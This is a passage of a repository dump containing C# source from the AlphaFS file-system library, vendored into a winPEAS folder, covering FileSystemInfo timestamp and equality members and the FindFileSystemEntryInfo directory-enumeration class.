cref=\"FileSystemInfo\"/> extension.</value>\n      public string Extension\n      {\n         get { return Path.GetExtension(FullPath, false); }\n      }\n\n\n      /// <summary>Gets the full path of the directory or file.</summary>\n      /// <value>A string containing the full path.</value>\n      public virtual string FullName\n      {\n         [SecurityCritical] get { return FullPath; }\n      }\n\n      \n      /// <summary>Gets or sets the time the current file or directory was last accessed.</summary>\n      /// <remarks>\n      ///   <para>The value of the LastAccessTime property is pre-cached\n      ///   To get the latest value, call the Refresh method.</para>\n      ///   <para>This method may return an inaccurate value, because it uses native functions\n      ///   whose values may not be continuously updated by the operating system.</para>\n      ///   <para>If the file described in the FileSystemInfo object does not exist, this property will return\n      ///   12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time.</para>\n      /// </remarks>\n      /// <value>The time that the current file or directory was last accessed.</value>\n      ///\n      /// <exception cref=\"IOException\"/>\n      public DateTime LastAccessTime\n      {\n         [SecurityCritical] get { return LastAccessTimeUtc.ToLocalTime(); }\n\n         [SecurityCritical] set { LastAccessTimeUtc = value.ToUniversalTime(); }\n      }\n\n\n      /// <summary>Gets or sets the time, in coordinated universal time (UTC), that the current file or directory was last accessed.</summary>\n      /// <remarks>\n      ///   <para>The value of the LastAccessTimeUtc property is pre-cached.\n      ///   To get the latest value, call the Refresh method.</para>\n      ///   <para>This method may return an inaccurate value, because it uses native functions\n      ///   whose values may not be continuously updated by the operating system.</para>\n      ///   <para>If the file described in the FileSystemInfo object does not exist, this property will return\n      ///   12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time.</para>\n      /// </remarks>\n      /// <value>The UTC time that the current file or directory was last accessed.</value>\n      ///\n      /// <exception cref=\"IOException\"/>\n      [ComVisible(false)]\n      public DateTime LastAccessTimeUtc\n      {\n         [SecurityCritical]\n         get\n         {\n            if (DataInitialised == -1)\n            {\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n               Refresh();\n            }\n\n            // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. \n            if (DataInitialised != 0)\n               NativeError.ThrowException(DataInitialised, LongFullName);\n\n            return DateTime.FromFileTimeUtc(Win32AttributeData.ftLastAccessTime);\n         }\n\n\n         [SecurityCritical]\n         set\n         {\n            File.SetFsoDateTimeCore(Transaction, IsDirectory, LongFullName, null, value, null, false, PathFormat.LongFullPath);\n\n            Reset();\n         }\n      }\n\n\n      /// <summary>Gets or sets the time when the current file or directory was last written to.</summary>\n      /// <remarks>\n      ///   <para>The value of the LastWriteTime property is pre-cached.\n      ///   To get the latest value, call the Refresh method.</para>\n      ///   <para>This method may return an inaccurate value, because it uses native functions\n      ///   whose values may not be continuously updated by the operating system.</para>\n      ///   <para>If the file described in the FileSystemInfo object does not exist, this property will return\n      ///   12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time.</para>\n      /// </remarks>\n      /// <value>The time the current file was last written.</value>\n      ///\n      /// <exception cref=\"IOException\"/>\n      public DateTime LastWriteTime\n      {\n         get { return LastWriteTimeUtc.ToLocalTime(); }\n\n         set { LastWriteTimeUtc = value.ToUniversalTime(); }\n      }\n\n\n      /// <summary>Gets or sets the time, in coordinated universal time (UTC), when the current file or directory was last written to.</summary>\n      /// <remarks>\n      ///   <para>The value of the LastWriteTimeUtc property is pre-cached. To get the latest value, call the Refresh method.</para>\n      ///   <para>This method may return an inaccurate value, because it uses native functions whose values may not be continuously updated by\n      ///   the operating system.</para>\n      ///   <para>If the file described in the FileSystemInfo object does not exist, this property will return 12:00 midnight, January 1, 1601\n      ///   A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time.</para>\n      /// </remarks>\n      /// <value>The UTC time when the current file was last written to.</value>\n      [ComVisible(false)]\n      public DateTime LastWriteTimeUtc\n      {\n         [SecurityCritical]\n         get\n         {\n            if (DataInitialised == -1)\n            {\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n               Refresh();\n            }\n\n            // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. \n            if (DataInitialised != 0)\n               NativeError.ThrowException(DataInitialised, LongFullName);\n\n            return DateTime.FromFileTimeUtc(Win32AttributeData.ftLastWriteTime);\n         }\n\n\n         [SecurityCritical]\n         set\n         {\n            File.SetFsoDateTimeCore(Transaction, IsDirectory, LongFullName, null, null, value, false, PathFormat.LongFullPath);\n\n            Reset();\n         }\n      }\n\n\n      /// <summary>\n      ///   For files, gets the name of the file. For directories, gets the name of the last directory in the hierarchy if a hierarchy exists.\n      ///   <para>Otherwise, the Name property gets the name of the directory.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>For a directory, Name returns only the name of the parent directory, such as Dir, not c:\\Dir.</para>\n      ///   <para>For a subdirectory, Name returns only the name of the subdirectory, such as Sub1, not c:\\Dir\\Sub1.</para>\n      ///   <para>For a file, Name returns only the file name and file name extension, such as MyFile.txt, not c:\\Dir\\Myfile.txt.</para>\n      /// </remarks>\n      /// <value>\n      ///   <para>A string that is the name of the parent directory, the name of the last directory in the hierarchy,</para>\n      ///   <para>or the name of a file, including the file name extension.</para>\n      /// </value>\n      public abstract string Name { get; }\n\n      #endregion // .NET\n\n\n      #region AlphaFS\n\n      /// <summary>Returns the path as a string.</summary>\n      protected internal string DisplayPath { get; protected set; }\n\n\n      private FileSystemEntryInfo _entryInfo;\n\n      /// <summary>[AlphaFS] Gets the instance of the <see cref=\"FileSystemEntryInfo\"/> class.</summary>\n      public FileSystemEntryInfo EntryInfo\n      {\n         [SecurityCritical]\n         get\n         {\n            if (null == _entryInfo)\n            {\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n               RefreshEntryInfo();\n            }\n\n            // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. \n            if (DataInitialised > 0)\n               NativeError.ThrowException(DataInitialised, LongFullName);\n\n            return _entryInfo;\n         }\n\n\n         internal set\n         {\n            _entryInfo = value;\n\n            DataInitialised = value == null ? -1 : 0;\n\n            if (DataInitialised == 0 && null != _entryInfo)\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(_entryInfo.Win32FindData);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] The initial \"IsDirectory\" indicator that was passed to the constructor.</summary>\n      protected bool IsDirectory { get; set; }\n\n\n      /// <summary>The full path of the file system object in Unicode (LongPath) format.</summary>\n      protected string LongFullName { get; set; }\n\n\n      /// <summary>[AlphaFS] Represents the KernelTransaction that was passed to the constructor.</summary>\n      protected KernelTransaction Transaction { get; set; }\n\n      #endregion // AlphaFS\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      #region .NET\n\n      /// <summary>Deletes a file or directory.</summary>\n      [SecurityCritical]\n      public abstract void Delete();\n\n\n      /// <summary>Refreshes the state of the object.</summary>\n      /// <remarks>\n      ///   <para>FileSystemInfo.Refresh() takes a snapshot of the file from the current file system.</para>\n      ///   <para>Refresh cannot correct the underlying file system even if the file system returns incorrect or outdated information.</para>\n      ///   <para>This can happen on platforms such as Windows 98.</para>\n      ///   <para>Calls must be made to Refresh() before attempting to get the attribute information, or the information will be\n      ///   outdated.</para>\n      /// </remarks>\n      [SecurityCritical]\n      public void Refresh()\n      {\n         DataInitialised = File.FillAttributeInfoCore(Transaction, LongFullName, ref Win32AttributeData, false, false);\n\n         IsDirectory = File.IsDirectory(Win32AttributeData.dwFileAttributes);\n      }\n\n\n      /// <summary>Returns a string that represents the current object.</summary>\n      /// <remarks>\n      ///   ToString is the major formatting method in the .NET Framework. It converts an object to its string representation so that it is\n      ///   suitable for display.\n      /// </remarks>\n      /// <returns>A string that represents this instance.</returns>\n      public override string ToString()\n      {\n         // \"Alphaleonis.Win32.Filesystem.FileSystemInfo\"\n         return GetType().ToString();\n      }\n\n\n      /// <summary>Serves as a hash function for a particular type.</summary>\n      /// <returns>A hash code for the current Object.</returns>\n      public override int GetHashCode()\n      {\n         return null != FullName ? FullName.GetHashCode() : 0;\n      }\n\n\n      /// <summary>Determines whether the specified Object is equal to the current Object.</summary>\n      /// <param name=\"other\">Another <see cref=\"FileSystemInfo\"/> instance to compare to.</param>\n      /// <returns><c>true</c> if the specified Object is equal to the current Object; otherwise, <c>false</c>.</returns>\n      public bool Equals(FileSystemInfo other)\n      {\n         return null != other && GetType() == other.GetType() &&\n                Equals(Name, other.Name) &&\n                Equals(FullName, other.FullName) &&\n                Equals(Attributes, other.Attributes) &&\n                Equals(CreationTimeUtc, other.CreationTimeUtc) &&\n                Equals(LastAccessTimeUtc, other.LastAccessTimeUtc);\n      }\n\n\n      /// <summary>Determines whether the specified Object is equal to the current Object.</summary>\n      /// <param name=\"obj\">Another object to compare to.</param>\n      /// <returns><c>true</c> if the specified Object is equal to the current Object; otherwise, <c>false</c>.</returns>\n      public override bool Equals(object obj)\n      {\n         var other = obj as FileSystemInfo;\n\n         return null != other && Equals(other);\n      }\n\n\n      /// <summary>Implements the operator ==</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator ==(FileSystemInfo left, FileSystemInfo right)\n      {\n         return ReferenceEquals(left, null) && ReferenceEquals(right, null) ||\n                !ReferenceEquals(left, null) && !ReferenceEquals(right, null) && left.Equals(right);\n      }\n\n\n      /// <summary>Implements the operator !=</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator !=(FileSystemInfo left, FileSystemInfo right)\n      {\n         return !(left == right);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Refreshes the current <see cref=\"FileSystemInfo\"/> instance (<see cref=\"DirectoryInfo\"/> or <see cref=\"FileInfo\"/>) with a new destination path.</summary>\n      internal void UpdateSourcePath(string destinationPath, string destinationPathLp)\n      {\n         LongFullName = destinationPathLp;\n\n         FullPath = null != destinationPathLp ? Path.GetRegularPathCore(LongFullName, GetFullPathOptions.None, false) : null;\n\n         OriginalPath = destinationPath;\n\n         DisplayPath = null != OriginalPath ? Path.GetRegularPathCore(OriginalPath, GetFullPathOptions.None, false) : null;\n\n         // Flush any cached information about the FileSystemInfo instance.\n         Reset();\n      }\n\n\n      /// <summary>[AlphaFS] Refreshes the state of the <see cref=\"FileSystemEntryInfo\"/> EntryInfo property.</summary>\n      /// <remarks>\n      ///   <para>FileSystemInfo.RefreshEntryInfo() takes a snapshot of the file from the current file system.</para>\n      ///   <para>Refresh cannot correct the underlying file system even if the file system returns incorrect or outdated information.</para>\n      ///   <para>This can happen on platforms such as Windows 98.</para>\n      ///   <para>Calls must be made to Refresh() before attempting to get the attribute information, or the information will be outdated.</para>\n      /// </remarks>\n      [SecurityCritical]\n      protected void RefreshEntryInfo()\n      {\n         _entryInfo = File.GetFileSystemEntryInfoCore(Transaction, IsDirectory, LongFullName, true, PathFormat.LongFullPath);\n\n         if (null == _entryInfo)\n            DataInitialised = -1;\n\n         else\n         {\n            DataInitialised = 0;\n            Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(_entryInfo.Win32FindData);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Resets the state of the file system object to uninitialized.</summary>\n      private void Reset()\n      {\n         DataInitialised = -1;\n      }\n\n\n      /// <summary>Initializes the specified file name.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The full path and name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      internal void InitializeCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat)\n      {\n         if (pathFormat == PathFormat.RelativePath)\n            Path.CheckSupportedPathFormat(path, true, true);\n\n         LongFullName = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | (isFolder ? GetFullPathOptions.RemoveTrailingDirectorySeparator : 0) | GetFullPathOptions.ContinueOnNonExist);\n         \n         // (Not on MSDN): .NET 4+ Trailing spaces are removed from the end of the path parameter before creating the FileSystemInfo instance.\n\n         FullPath = Path.GetRegularPathCore(LongFullName, GetFullPathOptions.None, false);\n\n         IsDirectory = isFolder;\n\n         Transaction = transaction;\n\n         OriginalPath = FullPath.Length == 2 && FullPath[1] == Path.VolumeSeparatorChar ? Path.CurrentDirectoryPrefix : path;\n\n         DisplayPath = OriginalPath.Length != 2 || OriginalPath[1] != Path.VolumeSeparatorChar ? Path.GetRegularPathCore(OriginalPath, GetFullPathOptions.None, false) : Path.CurrentDirectoryPrefix;\n      }\n\n\n      internal static SafeFindFileHandle FindFirstFileNative(KernelTransaction transaction, string pathLp, NativeMethods.FINDEX_INFO_LEVELS infoLevel, NativeMethods.FINDEX_SEARCH_OPS searchOption, NativeMethods.FIND_FIRST_EX_FLAGS additionalFlags, out int lastError, out NativeMethods.WIN32_FIND_DATA win32FindData)\n      {\n         var safeHandle = null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n            // FindFirstFileEx() / FindFirstFileTransacted()\n            // 2013-01-13: MSDN confirms LongPath usage.\n\n            // A trailing backslash is not allowed.\n            ? NativeMethods.FindFirstFileEx(Path.RemoveTrailingDirectorySeparator(pathLp), infoLevel, out win32FindData, searchOption, IntPtr.Zero, additionalFlags)\n\n            : NativeMethods.FindFirstFileTransacted(Path.RemoveTrailingDirectorySeparator(pathLp), infoLevel, out win32FindData, searchOption, IntPtr.Zero, additionalFlags, transaction.SafeHandle);\n\n         lastError = Marshal.GetLastWin32Error();\n\n         if (!NativeMethods.IsValidHandle(safeHandle, false))\n            safeHandle = null;\n\n\n         return safeHandle;\n      }\n\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FindFileSystemEntryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text.RegularExpressions;\nusing winPEAS._3rdParty.AlphaFS;\n\n#if !NET35\nusing System.Threading;\n#endif\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Class that retrieves file system entries (i.e. files and directories) using Win32 API FindFirst()/FindNext().</summary>\n   [Serializable]\n   internal sealed class FindFileSystemEntryInfo\n   {\n      #region Fields\n\n      [NonSerialized] private static readonly Regex WildcardMatchAll = new Regex(@\"^(\\*)+(\\.\\*+)+$\", RegexOptions.IgnoreCase | RegexOptions.Compiled); // special case to recognize *.* or *.** etc\n      [NonSerialized] private Regex _nameFilter;\n      [NonSerialized] private string _searchPattern = Path.WildcardStarMatchAll;\n\n      #endregion // Fields\n\n\n      #region Constructor\n\n      /// <summary>Initializes a new instance of the <see cref=\"FindFileSystemEntryInfo\"/> class.</summary>\n      /// <param name=\"transaction\">The NTFS Kernel transaction, if used.</param>\n      /// <param name=\"isFolder\">if set to <c>true</c> the path is a folder.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"searchPattern\">The wildcard search pattern.</param>\n      /// <param name=\"options\">The enumeration options.</param>\n      /// <param name=\"customFilters\">The custom filters.</param>\n      /// <param name=\"pathFormat\">The format of the path.</param>\n      /// <param name=\"typeOfT\">The type of objects to be retrieved.</param>\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      public FindFileSystemEntryInfo(KernelTransaction transaction, bool isFolder, string path, string searchPattern, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters customFilters, PathFormat pathFormat, Type typeOfT)\n      {\n         if (null == options)\n            throw new ArgumentNullException(\"options\");\n\n\n         Transaction = transaction;\n\n         OriginalInputPath = path;\n\n         InputPath = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         IsRelativePath = !Path.IsPathRooted(OriginalInputPath, false);\n\n         RelativeAbsolutePrefix = IsRelativePath ? InputPath.Replace(OriginalInputPath, string.Empty) : null;\n         \n         SearchPattern = searchPattern.TrimEnd(Path.TrimEndChars); // .NET behaviour.\n\n         FileSystemObjectType = null;\n\n         ContinueOnException = (options & DirectoryEnumerationOptions.ContinueOnException) != 0;\n\n         AsLongPath = (options & DirectoryEnumerationOptions.AsLongPath) != 0;\n\n         AsString = typeOfT == typeof(string);\n         AsFileSystemInfo = !AsString && (typeOfT == typeof(FileSystemInfo) || typeOfT.BaseType == typeof(FileSystemInfo));\n\n         LargeCache = (options & DirectoryEnumerationOptions.LargeCache) != 0 ? NativeMethods.UseLargeCache : NativeMethods.FIND_FIRST_EX_FLAGS.NONE;\n\n         // Only FileSystemEntryInfo makes use of (8.3) AlternateFileName.\n         FindExInfoLevel = AsString || AsFileSystemInfo || (options & DirectoryEnumerationOptions.BasicSearch) != 0 ? NativeMethods.FindexInfoLevel : NativeMethods.FINDEX_INFO_LEVELS.Standard;\n\n\n         if (null != customFilters)\n         {\n            InclusionFilter = customFilters.InclusionFilter;\n\n            RecursionFilter = customFilters.RecursionFilter;\n\n            ErrorHandler = customFilters.ErrorFilter;\n\n#if !NET35\n            CancellationToken = customFilters.CancellationToken;\n#endif\n         }\n\n\n         if (isFolder)\n         {\n            IsDirectory = true;\n\n            Recursive = (options & DirectoryEnumerationOptions.Recursive) != 0 || null != RecursionFilter;\n\n            SkipReparsePoints = (options & DirectoryEnumerationOptions.SkipReparsePoints) != 0;\n\n\n            // Need folders or files to enumerate.\n            if ((options & DirectoryEnumerationOptions.FilesAndFolders) == 0)\n               options |= DirectoryEnumerationOptions.FilesAndFolders;\n         }\n\n         else\n         {\n            options &= ~DirectoryEnumerationOptions.Folders; // Remove enumeration of folders.\n            options |= DirectoryEnumerationOptions.Files; // Add enumeration of files.\n         }\n\n\n         FileSystemObjectType = (options & DirectoryEnumerationOptions.FilesAndFolders) == DirectoryEnumerationOptions.FilesAndFolders\n\n            // Folders and files (null).\n            ? (bool?) null\n\n            // Only folders (true) or only files (false).\n            : (options & DirectoryEnumerationOptions.Folders) != 0;\n      }\n\n      #endregion // Constructor\n\n\n      #region Properties\n\n      /// <summary>Gets or sets the ability to return the object as a <see cref=\"FileSystemInfo\"/> instance.</summary>\n      /// <value><c>true</c> returns the object as a <see cref=\"FileSystemInfo\"/> instance.</value>\n      public bool AsFileSystemInfo { get; private set; }\n\n\n      /// <summary>Gets or sets the ability to return the full path in long full path format.</summary>\n      /// <value><c>true</c> returns the full path in long full path format, <c>false</c> returns the full path in regular path format.</value>\n      public bool AsLongPath { get; private set; }\n\n\n      /// <summary>Gets or sets the ability to return the object instance as a <see cref=\"string\"/>.</summary>\n      /// <value><c>true</c> returns the full path of the object as a <see cref=\"string\"/></value>\n      public bool AsString { get; private set; }\n\n\n      /// <summary>Gets or sets the ability to skip on access errors.</summary>\n      /// <value><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points.</value>\n      public bool ContinueOnException { get; private set; }\n\n\n      /// <summary>Gets the file system object type.</summary>\n      /// <value>\n      /// <c>null</c> = Return files and directories.\n      /// <c>true</c> = Return only directories.\n      /// <c>false</c> = Return only files.\n      /// </value>\n      public bool? FileSystemObjectType { get; private set; }\n\n\n      /// <summary>Gets or sets if the path is an absolute or relative path.</summary>\n      /// <value>Gets a value indicating whether the specified path string contains absolute or relative path information.</value>\n      public bool IsRelativePath { get; private set; }\n\n      \n      /// <summary>Gets or sets the initial path to the folder.</summary>\n      /// <value>The initial path to the file or folder in long path format.</value>\n      public string OriginalInputPath { get; private set; }\n\n\n      /// <summary>Gets or sets the path to the folder.</summary>\n      /// <value>The path to the file or folder in long path format.</value>\n      public string InputPath { get; private set; }\n\n\n      /// <summary>Gets or sets the absolute full path prefix of the relative path.</summary>\n      private string RelativeAbsolutePrefix { get; set; }\n\n      \n      /// <summary>Gets or sets a value indicating which <see cref=\"NativeMethods.FINDEX_INFO_LEVELS\"/> to use.</summary>\n      /// <value><c>true</c> indicates a folder object, <c>false</c> indicates a file object.</value>\n      public bool IsDirectory { get; private set; }\n\n\n      /// <summary>Uses a larger buffer for directory queries, which can increase performance of the find operation.</summary>\n      /// <remarks>This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n      public NativeMethods.FIND_FIRST_EX_FLAGS LargeCache { get; private set; }\n\n\n      /// <summary>The FindFirstFileEx function does not query the short file name, improving overall enumeration speed.</summary>\n      /// <remarks>This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n      public NativeMethods.FINDEX_INFO_LEVELS FindExInfoLevel { get; private set; }\n\n\n      /// <summary>Specifies whether the search should include only the current directory or should include all subdirectories.</summary>\n      /// <value><c>true</c> to include all subdirectories.</value>\n      public bool Recursive { get; private set; }\n\n\n      /// <summary>Search for file system object-name using a pattern.</summary>\n      /// <value>The path which has wildcard characters, for example, an asterisk (<see cref=\"Path.WildcardStarMatchAll\"/>) or a question mark (<see cref=\"Path.WildcardQuestion\"/>).</value>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2208:InstantiateArgumentExceptionsCorrectly\")]\n      public string SearchPattern\n      {\n         get { return _searchPattern; }\n\n         internal set\n         {\n            if (null == value)\n               throw new ArgumentNullException(\"SearchPattern\");\n\n            _searchPattern = value;\n\n            _nameFilter = _searchPattern == Path.WildcardStarMatchAll || WildcardMatchAll.IsMatch(_searchPattern)\n               ? null\n               : new Regex(string.Format(CultureInfo.InvariantCulture, \"^{0}$\", Regex.Escape(_searchPattern).Replace(@\"\\*\", \".*\").Replace(@\"\\?\", \".\")), RegexOptions.IgnoreCase | RegexOptions.Compiled);\n         }\n      }\n\n\n      /// <summary><c>true</c> skips ReparsePoints, <c>false</c> will follow ReparsePoints.</summary>\n      public bool SkipReparsePoints { get; private set; }\n\n\n      /// <summary>Get or sets the KernelTransaction instance.</summary>\n      /// <value>The transaction.</value>\n      public KernelTransaction Transaction { get; private set; }\n\n\n      /// <summary>Gets or sets the custom enumeration in/exclusion filter.</summary>\n      /// <value>The method determining if the object should be in/excluded from the output or not.</value>\n      public Predicate<FileSystemEntryInfo> InclusionFilter { get; private set; }\n\n\n      /// <summary>Gets or sets the custom enumeration recursion filter.</summary>\n      /// <value>The method determining if the directory should be recursively traversed or not.</value>\n      public Predicate<FileSystemEntryInfo> RecursionFilter { get; private set; }\n\n\n      /// <summary>Gets or sets the handler of errors that may occur.</summary>\n      /// <value>The error handler method.</value>\n      public ErrorHandler ErrorHandler { get; private set; }\n\n\n#if !NET35\n      /// <summary>Gets or sets the cancellation token to abort the enumeration.</summary>\n      /// <value>A <see cref=\"CancellationToken\"/> instance.</value>\n      private CancellationToken CancellationToken { get; set; }\n#endif\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      private SafeFindFileHandle FindFirstFile(string pathLp, out NativeMethods.WIN32_FIND_DATA win32FindData, out int lastError, bool suppressException = false)\n      {\n         lastError = (int) Win32Errors.NO_ERROR;\n\n         var searchOption = null != FileSystemObjectType && (bool) FileSystemObjectType ? NativeMethods.FINDEX_SEARCH_OPS.SearchLimitToDirectories : NativeMethods.FINDEX_SEARCH_OPS.SearchNameMatch;\n\n         var handle = FileSystemInfo.FindFirstFileNative(Transaction, pathLp, FindExInfoLevel, searchOption, LargeCache, out lastError, out win32FindData);\n\n\n         if (!suppressException && !ContinueOnException)\n         {\n            if (null == handle)\n            {\n               switch ((uint) lastError)\n               {\n                  case Win32Errors.ERROR_FILE_NOT_FOUND: // FileNotFoundException.\n                  case Win32Errors.ERROR_PATH_NOT_FOUND: // DirectoryNotFoundException.\n                  case Win32Errors.ERROR_NOT_READY:      // DeviceNotReadyException: Floppy device or network drive not ready.\n\n                     Directory.ExistsDriveOrFolderOrFile(Transaction, pathLp, IsDirectory, lastError, true, true);\n                     break;\n               }\n\n\n               ThrowPossibleException((uint) lastError, pathLp);\n            }\n         }\n\n\n         return handle;\n      }\n\n\n      private FileSystemEntryInfo NewFilesystemEntry(string pathLp, string fileName, NativeMethods.WIN32_FIND_DATA win32FindData)\n      {\n         var fullPath = (IsRelativePath ? pathLp.Replace(RelativeAbsolutePrefix, string.Empty) : pathLp) + fileName;\n\n         return new FileSystemEntryInfo(win32FindData) {FullPath = fullPath};\n      }\n\n\n      private T NewFileSystemEntryType<T>(bool isFolder, FileSystemEntryInfo fsei, string fileName, string pathLp, NativeMethods.WIN32_FIND_DATA win32FindData)\n      {\n         // Determine yield, e.g. don't return files when only folders are requested and vice versa.\n\n         if (null != FileSystemObjectType && (!(bool) FileSystemObjectType || !isFolder) && (!(bool) !FileSystemObjectType || isFolder))\n\n            return (T) (object) null;\n\n\n         // Determine yield from name filtering.\n\n         if (null != fileName && !(null == _nameFilter || null != _nameFilter && _nameFilter.IsMatch(fileName)))\n\n            return (T) (object) null;\n\n\n         if (null == fsei)\n            fsei = NewFilesystemEntry(pathLp, fileName, win32FindData);\n\n\n         // Return object instance FullPath property as string, optionally in long path format.\n\n         return AsString ? null == InclusionFilter || InclusionFilter(fsei) ? (T) (object) (AsLongPath ? fsei.LongFullPath : fsei.FullPath) : (T) (object) null\n\n\n            // Make sure the requested file system object type is returned.\n            // null = Return files and directories.\n            // true = Return only directories.\n            // false = Return only files.\n\n            : null != InclusionFilter && !InclusionFilter(fsei)\n               ? (T) (object) null\n\n               // Return object instance of type FileSystemInfo.\n\n               : AsFileSystemInfo\n                  ? (T) (object) (fsei.IsDirectory\n\n                     ? (FileSystemInfo) new DirectoryInfo(Transaction, fsei.LongFullPath, PathFormat.LongFullPath) {EntryInfo = fsei}\n\n                     : new FileInfo(Transaction, fsei.LongFullPath, PathFormat.LongFullPath) {EntryInfo = fsei})\n\n                  // Return object instance of type FileSystemEntryInfo.\n\n                  : (T) (object) fsei;\n      }\n\n\n      private void ThrowPossibleException(uint lastError, string pathLp)\n      {\n         switch (lastError)\n         {\n            case Win32Errors.ERROR_NO_MORE_FILES:\n               lastError = Win32Errors.NO_ERROR;\n               break;\n\n\n            case Win32Errors.ERROR_FILE_NOT_FOUND: // On files.\n            case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders.\n            case Win32Errors.ERROR_NOT_READY:      // DeviceNotReadyException: Floppy device or network drive not ready.\n               // MSDN: .NET 3.5+: DirectoryNotFoundException: Path is invalid, such as referring to an unmapped drive.\n               // Directory.Delete()\n\n               lastError = IsDirectory ? (int) Win32Errors.ERROR_PATH_NOT_FOUND : Win32Errors.ERROR_FILE_NOT_FOUND;\n               break;\n\n\n            //case Win32Errors.ERROR_DIRECTORY:\n            //   // MSDN: .NET 3.5+: IOException: path is a file name.\n            //   // Directory.EnumerateDirectories()\n            //   // Directory.EnumerateFiles()\n            //   // Directory.EnumerateFileSystemEntries()\n            //   // Directory.GetDirectories()\n            //   // Directory.GetFiles()\n            //   // Directory.GetFileSystemEntries()\n            //   break;\n\n            //case Win32Errors.ERROR_ACCESS_DENIED:\n            //   // MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission.\n            //   break;\n         }\n\n\n         if (lastError != Win32Errors.NO_ERROR)\n         {\n            var regularPath = Path.GetCleanExceptionPath(pathLp);\n\n            // Pass control to the ErrorHandler when set.\n\n            if (null == ErrorHandler || !ErrorHandler((int) lastError, new Win32Exception((int) lastError).Message, regularPath))\n            {\n               // When the ErrorHandler returns false, thrown the Exception.\n\n               NativeError.ThrowException(lastError, regularPath);\n            }\n         }\n      }\n\n\n      private void VerifyInstanceType(NativeMethods.WIN32_FIND_DATA win32FindData)\n      {\n         var regularPath = Path.GetCleanExceptionPath(InputPath);\n\n         var isFolder = File.IsDirectory(win32FindData.dwFileAttributes);\n\n         if (IsDirectory)\n         {\n            if (!isFolder)\n               throw new DirectoryNotFoundException(string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_PATH_NOT_FOUND, string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, regularPath)));\n         }\n\n         else if (isFolder)\n            throw new FileNotFoundException(string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_FILE_NOT_FOUND, string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, regularPath)));\n      }\n\n\n      /// <summary>Gets an enumerator that returns all of the file system objects that match both the wildcards that are in any of 